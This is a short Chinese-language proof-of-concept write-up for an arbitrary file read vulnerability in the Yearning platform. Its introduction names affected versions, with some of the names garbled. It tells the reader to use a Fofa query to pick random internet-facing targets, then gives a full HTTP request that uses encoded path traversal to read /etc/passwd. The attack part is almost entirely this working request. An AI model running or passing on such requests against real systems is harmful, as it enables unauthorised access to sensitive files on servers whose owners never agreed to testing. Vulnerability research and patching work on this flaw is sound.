# Yearning front 任意文件读取

### 漏洞简介

eaming 2.3.1 版本、lnterstelar GA2.3.2 版本 和 Neptune 2.3.4-2.3. 版本存在安全漏洞Q，该漏洞源于存在一个任意文件读取漏洞。攻击者可以利用该漏洞获取敏感信息。

### 漏洞复现

步骤一：在Fofa中搜索以下语法并随机确定要进行攻击测试的目标

app="Yearning"

步骤二：开启代理并打开BP对其首页进行抓包拦截....修改请求头内容

GET /front/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd HTTP/1.1  
Host: your-ip  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate

